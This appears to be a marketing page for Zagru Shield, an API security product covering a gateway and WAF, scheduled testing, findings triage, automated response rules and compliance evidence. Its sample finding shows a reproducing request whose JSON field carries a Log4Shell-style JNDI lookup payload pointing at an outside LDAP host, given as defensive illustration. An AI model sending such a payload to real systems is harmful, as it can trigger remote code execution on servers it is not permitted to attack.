Skip to content
Zagru

Zagru ShieldAPI security, testing and response

Your APIs, protected by rules you choose.

Shield puts a gateway in front of your APIs that lets only valid, allowed requests through, tests them continuously like an attacker would, and when something serious turns up, acts exactly as you decided in advance.

Request a demoHow Shield responds

Three jobs, one product

  1. 1GatewayOnly valid, allowed requests reach your APIs.
  2. 2Continuous testingYour APIs and systems, tested like an attacker would — on a schedule.
  3. 3Response by your rulesClose a route, ask an administrator, or only notify — decided in advance.

Gateway

Only valid, allowed requests get through.

Shield Gateway runs in front of each API — run by Zagru, or inside your own network. It is built on Envoy, the same technology and signed policy bundles that protect Zagru's own products, and keeps working from its last verified policy if the control plane cannot be reached.

  • Your OpenAPI, enforced

    Requests that do not match the schema of the route never reach your service.

  • Who is calling

    JWT and OIDC, API keys and mTLS checked at the edge.

  • Limits that fit

    Rate limits per key, address and route; request size and method limits.

  • WAF with OWASP rules

    Coraza with the OWASP Core Rule Set, with a paranoia level per API; bot control and IP and country allow or deny lists.

  • Watch first, then enforce

    Every rule starts in observe mode, so you see what it would block before it blocks anything.

  • Only metadata, never bodies

    Shield learns from request metadata; request and response bodies are not stored.

Why was this blocked?

Every blocked request has a record: the rule, the part of the request that matched and the request id. Zagru Sense can explain it in plain words.

Request
POST /v2/orders · req 7f3c9a
Rule
OpenAPI schema · /v2/orders
Matched
body.quantity: "-5" is not an integer ≥ 1
Mode
Enforce (observed for 7 days, 0 false positives)

Inventory and posture

Every API you have — including the ones nobody listed.

Shield builds your API inventory from OpenAPI imports, gateway traffic, the Zagru Agent and DNS and certificate discovery on your verified domains.

  • Shadow APIs Seen in traffic, but declared nowhere.
  • Zombie APIs Deprecated or retired on paper, still answering.
  • Schema drift What the API really does, against what its OpenAPI says.

Posture score

Per API and for the whole organization: authentication, schema coverage, open findings, how recently it was tested, WAF mode — with the actions that raise it.

  • Turn on schema enforcement for /v2/orders+6 points
  • Move the WAF on carrier-api to enforce+4 points
  • Retest partner-api — last test 19 days ago+3 points

Want to see Shield in front of one of your own APIs?

Request a demo

Continuous testing

Tested like an attacker would. Only where you are allowed to test.

Shield tests the APIs it protects and any other target you prove is yours, on the schedule you set, and turns every result into a finding.

Prove it is yours first

Public names: a DNS TXT record or a file under /.well-known.

_zagru-verify.api.example.com.  TXT
  "zagru-verification=8f2c1e9b"

Internal networks: the Zagru Agent and a scope signed by an administrator of your organization. Hosts outside the scope are never touched.

What runs

  • OWASP ZAPDynamic testing, including signed-in scans
  • SchemathesisProperty-based fuzzing from your OpenAPI
  • NucleiKnown CVEs and misconfigurations
  • TLS checksProtocols, ciphers and certificates
  • DiscoveryNetwork and service discovery, inside the signed scope only

  • Your supply chain, too

    A CycloneDX SBOM from the agent or uploaded by you, matched against OSV, GitHub Advisory, NVD and the CISA KEV catalogue, with EPSS scores. Responses and connected repositories are checked for leaked secrets.

  • On your schedule

    Daily, weekly or on every deploy. Rate limits and time windows come from the scope. Safe mode leaves out destructive checks, unless an administrator enables them for a staging target.

  • Close to the target

    Public targets are tested from Zagru-hosted runners; internal ones from the agent inside your network.

Findings and priority

Every result ranked, with a clock on it.

Each finding is scored with CVSS, EPSS, the KEV catalogue, how exposed the API is and how critical it is to your business, and lands in one of four priorities with a time to fix you can tune.

  • P124 hours
  • P27 days
  • P330 days
  • P490 days

The findings view groups by priority, API, class and age, shows the trend and what is close to its deadline.

Reproducing request

POST /v2/imports HTTP/1.1
Host: api.example.com
Authorization: Bearer ••••••••••••
Content-Type: application/json

{"template": "${jndi:ldap://203.0.113.9/a}"}

Evidence includes the request that reproduces the problem, with secrets masked.

Response by your rules

You decide in advance. Shield does exactly that.

When something serious is found, Shield follows a decision table you chose: what kind of problem it is, how severe, and how critical the API is decide whether Shield acts on its own, asks an administrator, or only lets you know. The rules are deterministic, versioned and the same every time; AI never decides a block.

Pick a profile — or write your own table

  • Strict

    Default

    Closes what is urgent and open to the internet, at once. Asks you about the rest.

    • AutomaticUrgent and reachable from the internet (for example remote code execution or data exposure): the affected route closes automatically, or a tested virtual patch is applied.
    • AutomaticAn attack in progress: the attacking addresses are blocked and limits tightened, automatically.
    • Asks firstUrgent elsewhere, or critical: Shield proposes the action and waits for an administrator.
    • NotifiesHigh and below: you are notified.

  • Flexible

    More automatic

    Acts on its own from high severity upwards, so fewer things wait for a person.

    • AutomaticUrgent or critical: a virtual patch is applied automatically, or the route closes.
    • AutomaticHigh and reachable from the internet: a virtual patch or a tighter rate limit, automatically.
    • AutomaticAn attack in progress: the attacking addresses are blocked, automatically.
    • Asks firstHigh elsewhere: Shield asks an administrator. Anything else: you are notified.

  • Notify only

    Hands off

    Shield never changes traffic by itself. Every finding becomes a notification and a proposal.

    • NotifiesEvery rule only notifies. You apply any action yourself, with one click.

  • Per-API choices

    Give an API another profile or its own table with the same columns.

  • Mission-critical guard

    An API marked mission-critical is never closed as a whole automatically; Shield asks instead.

  • Routes, not whole APIs

    The built-in profiles close the affected route; closing a whole API needs a rule that says so.

  • Maintenance windows

    During a window, automatic actions turn into approvals.

What happens next

  1. 1Shield shows the planBefore anything happens, each finding shows what Shield will do and which rule matched.
  2. 2Approval by e-mail and in the appAdministrators and the API's team get an e-mail or push; the link opens the approval after sign-in.
  3. 3Published, with an expiryThe action is published to the gateway as a signed bundle and expires after 24 hours unless renewed.
  4. 4One-click rollbackAnyone allowed can lift it at once; Shield lifts it itself when a retest shows the fix.
  5. 5All on the recordEvery step is in the audit trail: who, which rule, which bundle.

Want to see Shield in front of one of your own APIs?

Request a demo

Vulnerability disclosure

When someone reports a problem, Shield gets to work.

Publish a security contact — Shield generates your /.well-known/security.txt — and a disclosure form. A report, or a new advisory that matches your SBOM, starts the same careful sequence.

# https://example.com/.well-known/security.txt
Contact: https://example.com/security/report
Contact: mailto:security@example.com
Expires: 2027-11-01T00:00:00Z
Policy: https://example.com/security/policy
Preferred-Languages: tr, en
  1. 1TriageThe report becomes a finding.
  2. 2ScopeWhich APIs and versions are affected, from your inventory and SBOM.
  3. 3VerifyA targeted test confirms it.
  4. 4PrioritiseScoring sets P1 to P4.
  5. 5RespondYour rules apply — for example, under Strict an urgent remote code execution on the internet closes the route automatically.

Fixed, retested, lifted.

  • On Zagru products

    Send the finding to Zagru Platform. When the fix is deployed, Shield retests and lifts any temporary action itself.

  • On any other software

    A clear report, a ticket in Jira, GitHub or GitLab, and a retest whenever you ask. Zagru never changes code it does not run.

Compliance evidence

The evidence your auditors ask for, ready to export.

Test schedules and results, WAF coverage, how quickly findings were handled and the full audit trail — mapped to the frameworks you report on, as PDF or CSV. The assessment itself stays with your auditors.

  • ISO 27001 Annex A
  • KVKK technical measures
  • PCI DSS 6.4 and 11.3
  • OWASP API Security Top 10
Evidence pack · Q3
  • Test schedule and results
  • WAF coverage per API
  • Time to respond, per priority
  • Audit trail

Editions

Run Shield the way that suits you.

  • Shield SaaS

    Zagru runs the gateway; you point your DNS (CNAME) at it.

    Priced per API and request volume

  • Shield Self-hosted

    You run the gateway with Helm or Docker, with the Zagru Agent; the control plane in Zagru's cloud or yours.

    Priced per gateway node and API

  • Shield Scan

    No gateway: continuous testing, SBOM and findings only.

    Priced per verified target

Modules

  • Gateway
  • WAF
  • Testing
  • SBOM
  • Discovery
  • Response rules
  • Compliance

Shield and Zagru Pulse use the same Zagru Agent. You buy only the product you need, and add the other later without installing anything new.

Questions

What customers ask us first.

Does Shield sit in the request path?

The Shield Gateway does — that is how it lets only valid, allowed requests through. It runs from a local copy of its last verified policy, so it keeps working even if the control plane cannot be reached. With Shield Scan there is no gateway at all.

Can Shield close one of our APIs without asking?

Only if your rules say so. You choose a profile — Strict, Flexible or Notify only — or write your own table. The built-in profiles close the affected route rather than the whole API, never close a mission-critical API as a whole on their own, and every automatic action expires and can be rolled back in one click.

Does AI decide what to block?

No. Every decision follows a deterministic, versioned table and records the rule that matched. AI can help explain a finding or a blocked request in plain words.

What can Shield test?

The APIs it protects, and any other target you prove is yours: public names with a DNS TXT record or a well-known file, internal networks with the Zagru Agent and a scope signed by your administrator. Nothing outside the scope is touched.

Do we have to start in blocking mode?

No. Every rule starts in observe mode, so you see what it would block. You move it to enforce when you are comfortable.

Does Shield make us compliant?

Shield gathers the evidence auditors ask for — test results, WAF coverage, response times and the audit trail — mapped to ISO 27001 Annex A, KVKK technical measures, PCI DSS 6.4 and 11.3 and the OWASP API Top 10. The assessment itself stays with your auditors.

Can we run it ourselves?

Yes. Shield Self-hosted runs the gateway in your network with Helm or Docker, next to the Zagru Agent; the control plane can run in Zagru's cloud or yours.

Put Shield in front of one API and see the difference.

Tell us about your APIs; we will start in observe mode and show you what Shield finds and what it would do.

  • 30-minute intro with the team that builds the product
  • Demo on your own products and flows
  • No commitment, no sales pressure
hello@zagru.com

Get a demo with your own data

Leave your details and we'll get back to you shortly.

Prefer to tell us more? Open the full form

Request a demo